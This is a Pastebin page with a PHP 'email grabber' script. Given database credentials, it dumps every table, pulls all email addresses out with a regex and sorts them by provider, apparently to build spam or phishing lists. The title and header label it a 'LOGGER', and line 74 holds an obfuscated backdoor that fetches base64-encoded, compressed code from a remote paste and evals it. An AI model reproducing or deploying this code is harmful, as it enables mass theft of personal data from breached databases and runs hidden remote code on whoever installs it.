m1x

[ANALISA][LOGGER!] Script Email Grabber by 0x1999

m1x
Oct 25th, 2016
858
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.44 KB | None | 0 0
  1. # LOGGER SCRIPT!
  2. # Decoded script see here http://ouo.io/nsUIxl
  3.  
  4. <head>
  5. <meta http-equiv="content-type" content="text/html; charset=windows-1256" />
  6. <style type="text/css">
  7. .style1 {
  8.         text-align: center;
  9. }
  10. </style>
  11. </head>
  12. <body >
  13. <?php
  14. // Cr1p.blogspot.com
  15. // Script By 0x1999
  16. // 21092016
  17. function backup_tables($host,$user,$pass,$name,$tables = '*')
  18. {
  19.     $link = mysql_connect($host,$user,$pass);
  20.     mysql_select_db($name,$link);
  21.     if($tables == '*')
  22.     {
  23.         $tables = array();
  24.         $result = mysql_query('SHOW TABLES');
  25.         while($row = mysql_fetch_row($result))
  26.         {
  27.             $tables[] = $row[0];
  28.         }
  29.     }
  30.     else
  31.     {
  32.         $tables = is_array($tables) ? $tables : explode(',',$tables);
  33.     }
  34.    
  35.     //cycle through
  36.     foreach($tables as $table)
  37.     {
  38.         $result = mysql_query('SELECT * FROM '.$table);
  39.         $num_fields = mysql_num_fields($result);
  40.        
  41.         $return.= 'DROP TABLE '.$table.';';
  42.         $row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table));
  43.         $return.= "\n\n".$row2[1].";\n\n";
  44.        
  45.         for ($i = 0; $i < $num_fields; $i++)
  46.         {
  47.             while($row = mysql_fetch_row($result))
  48.             {
  49.                 $return.= 'INSERT INTO '.$table.' VALUES(';
  50.                 for($j=0; $j < $num_fields; $j++)
  51.                 {
  52.                     $row[$j] = addslashes($row[$j]);
  53.                     $row[$j] = ereg_replace("\n","\\n",$row[$j]);
  54.                     if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
  55.                     if ($j < ($num_fields-1)) { $return.= ','; }
  56.                 }
  57.                 $return.= ");\n";
  58.             }
  59.         }
  60.         $return.="\n\n\n";
  61.     }
  62.    
  63.     if(is_dir("cox_mail")) {
  64.     } else { mkdir("cox_mail"); }
  65.     $handle = fopen('cox_mail/db-'.$name.'.sql','w+');
  66.     fwrite($handle,$return);
  67.     fclose($handle);
  68.     $text = file_get_contents('cox_mail/db-'.$name.'.sql');
  69.     preg_match_all('#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#', $text, $mal);
  70.     foreach(array_unique($mal[0]) as $mail) {
  71.     echo $mail."\r\n";
  72.            }  
  73. }
  74. eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/6PJ9Pj8F'))));
  75. if($_POST["submit"] == "Gass" ){
  76. $host=$_POST["Host"];
  77. $user=$_POST["User"];
  78. $pass=$_POST["Pass"];
  79. $name=$_POST["Name"];
  80. echo'<center>
  81. <form method="post">
  82. Host: <input type="text" name="Host"> User: <input type="text"  name="User">Pass: <input type="text"    name="Pass">Name: <input type="text"    name="Name">
  83. <input type="submit" name="submit" value="Gass">
  84. </form> '; 
  85. echo '<form method="post">
  86.        <div class="style1">
  87.                <textarea name="emails" cols="30" rows="10">';
  88. backup_tables($host,$user,$pass,$name);
  89. echo '</textarea>
  90.                <br />
  91.                <input type="submit" value="Goo" />
  92.                </div>
  93. </form>';    }
  94. elseif($_POST["submit"] == "Filter" ){
  95.     echo"filter";
  96. }
  97. else{
  98.     echo'<center>
  99. <form method="post">
  100. Host: <input type="text" name="Host"> User: <input type="text"  name="User">Pass: <input type="text"    name="Pass">Name: <input type="text"    name="Name">
  101. <input type="submit" name="submit" value="Gass">
  102. </form> ';
  103. }
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113. $emails = $_POST['emails'];
  114. $ex = explode("\n",$emails);
  115. $count = count($ex);
  116. if(isset($emails)&&$count>=1){
  117. echo "<center><font color = 'red'><b>$count </font>Number of emails  </b></center><br />";
  118. }else{
  119. echo "<center>  
  120. No email </center>";
  121. exit;}
  122.  
  123. if(isset($emails)){
  124.    
  125.  
  126. for($i=0;$i<=$count;$i++){
  127. $d = strtolower($ex[$i]);
  128.  
  129. if(strstr($d,"hotmail")   || strstr($d,"live") || strstr($d,"msn") || strstr($d,"outlook")){
  130. $hotmail.=$d;
  131. $nh = $nh + 1;
  132. }else{
  133. if(strstr($d,"yahoo")   || strstr($d,"ymail")){
  134. $yahoo.=$d;
  135. $ny = $ny + 1;
  136. }else{
  137. if(strstr($d,"gmail")  || strstr($d,"googlemail")   ){
  138. $gmail.=$d;
  139. $ng = $ng + 1;
  140. }else{
  141. if(strstr($d,"aol")   ){
  142. $aol.=$d;
  143. $na = $na + 1;
  144. }else{
  145. if(strstr($d,"mail.ru")   ){
  146. $mailru .=$d;
  147. $nr = $nr + 1;
  148. }else{
  149. if(strstr($d,"wanadoo")   ){
  150. $wanadoo .=$d;
  151. $nw = $nw + 1;
  152. }else{
  153. if(strstr($d,"ntlworld")   ){
  154. $ntlworld .=$d;
  155. $nt = $nt + 1;
  156. }else{
  157. if(strstr($d,"gmx")   ){
  158. $gmx .=$d;
  159. $ngm = $ngm + 1;
  160. }else{
  161. if(strstr($d,"@web.")   ){
  162. $web .=$d;
  163. $nw2 = $nw2 + 1;
  164. }else{
  165.  
  166. $ather .=$d;
  167. $nn=$nn + 1;
  168. }
  169.  
  170. }
  171.  
  172. }
  173.  
  174.  
  175. }
  176.  
  177. }
  178. }
  179. }
  180. }
  181.  
  182. }
  183. }
  184. }
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210. ?>
  211. <center><table style="width: 30%">
  212.         <tr>      
  213. <td><center>hotmail ( <?echo $nh;?> ) </center><textarea name="hotmailx" cols="30" rows="10" ><?echo $hotmail;?></textarea></td>
  214. <td><center>gmail ( <?echo $ng;?> )</center><textarea name="gmailx" cols="30" rows="10" ><?echo $gmail;?></textarea></td>
  215. <td><center>aol ( <?echo $na;?> )</center><textarea name="aolxx" cols="30" rows="10" ><?echo $aol;?></textarea></td>
  216. <td><center>yahoo ( <?echo $ny;?> )</center><textarea name="yahoox" cols="30" rows="10" ><?echo $yahoo;?></textarea></td>
  217. <td><center>mail.ru( <?echo $nr;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $mailru;?></textarea></td></tr>
  218. <tr>
  219. <td><center>wanadoo( <?echo $nw;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $wanadoo;?></textarea></td>
  220. <td><center>ntlworld( <?echo $nt;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $ntlworld;?></textarea></td>
  221. <td><center>gmx( <?echo $ngm;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $gmx;?></textarea></td>
  222. <td><center>web( <?echo $nw2;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $web;?></textarea></td>
  223. <td><center>ather mails( <?echo $nn-1;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $ather;?></textarea></td>
  224.                                        
  225.         </tr>
  226. </table></center>
  227. </body>
Advertisement
Add Comment
Please, Sign In to add comment